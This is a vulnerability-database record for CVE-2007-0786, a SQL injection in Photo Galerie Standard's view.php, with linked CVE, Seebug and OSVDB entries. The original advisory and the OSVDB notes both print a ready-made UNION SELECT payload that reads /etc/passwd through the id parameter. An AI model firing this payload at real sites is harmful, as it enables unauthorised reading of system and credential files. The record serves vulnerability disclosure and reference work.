{"bulletinFamily": "exploit", "id": "EDB-ID:3261", "cvelist": ["CVE-2007-0786"], "modified": "2007-02-03T00:00:00", "lastseen": "2016-01-31T18:04:57", "edition": 1, "sourceData": "*******************************************************************************\n# Title : Photo Galerie Standard <= 1.1 (view.php) Remote SQL Injection Vulnerability\n# Author : ajann\n# Contact : :(\n# S.Page : http://noname-media.com\n# $$ : Free\n\n*******************************************************************************\n\n[[SQL]]]---------------------------------------------------------\n\nhttp://[target]/[path]//view.php?id=[SQL]\n\nExample:\n\netc/passwd Read\n\n//view.php?id=-1%20union%20select%201,load_file(char((47,101,116,99,47,112,97,115,115,119,100)),3,4,0,0,0,0,0,0,0,0,0,0/*&categorie=8&next=1\n\n[[/SQL]]\n\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n# ajann,Turkey\n# ...\n\n# Im not Hacker!\n\n# milw0rm.com [2007-02-03]\n", "published": "2007-02-03T00:00:00", "href": "https://www.exploit-db.com/exploits/3261/", "osvdbidlist": ["33089"], "reporter": "ajann", "hash": "257c92d964fdc46d46c001ddb334c9017af64cf2a27b83b492fe341abe38ae0f", "title": "Photo Galerie Standard <= 1.1 view.php SQL Injection Vulnerability", "history": [], "type": "exploitdb", "objectVersion": "1.0", "description": "Photo Galerie Standard <= 1.1 (view.php) SQL Injection Vulnerability. CVE-2007-0786. Webapps exploit for php platform", "references": [], "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/3261/", "enchantments": {"vulnersScore": 7.1}}

{"result": {"cve": [{"id": "CVE-2007-0786", "type": "cve", "title": "CVE-2007-0786", "description": "SQL injection vulnerability in view.php in Noname Media Photo Galerie Standard 1.1.1 and earlier allows remote attackers to execute arbitrary SQL commands via the id parameter.", "published": "2007-02-06T14:28:00", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-0786", "cvelist": ["CVE-2007-0786"], "lastseen": "2016-09-03T08:25:04"}], "seebug": [{"id": "SSV-64463", "type": "seebug", "title": "Photo Galerie Standard <= 1.1 (view.php) SQL Injection Vulnerability", "description": "Summary: \nNoname Media Photo Galerie Standard 1.1.1 version and the early version of the view. in php there is a SQL injection vulnerability. A remote attacker can use the id parameter to execute arbitrary SQL commands.\n", "published": "2014-07-01T00:00:00", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://www.seebug.org/vuldb/ssvid-64463", "cvelist": ["CVE-2007-0786"], "lastseen": "2016-07-30T05:23:06"}], "osvdb": [{"id": "OSVDB:33089", "type": "osvdb", "title": "Photo Galerie Script view.php id Variable SQL Injection", "description": "## Manual Testing Notes\n/view.php?id=-1%20union%20select%201,load_file(char((47,101,116,99,47,112,97,115,115,119,100)),3,4,0,0,0,0,0,0,0,0,0,0/*&categorie=8&next=1\n## References:\nVendor URL: http://noname-media.com/\n[Secunia Advisory ID:24029](https://secuniaresearch.flexerasoftware.com/advisories/24029/)\nOther Advisory URL: http://milw0rm.com/exploits/3261\nFrSIRT Advisory: ADV-2007-0475\n[CVE-2007-0786](https://vulners.com/cve/CVE-2007-0786)\nBugtraq ID: 22384\n", "published": "2007-02-03T10:03:42", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://vulners.com/osvdb/OSVDB:33089", "cvelist": ["CVE-2007-0786"], "lastseen": "2017-04-28T13:20:29"}]}}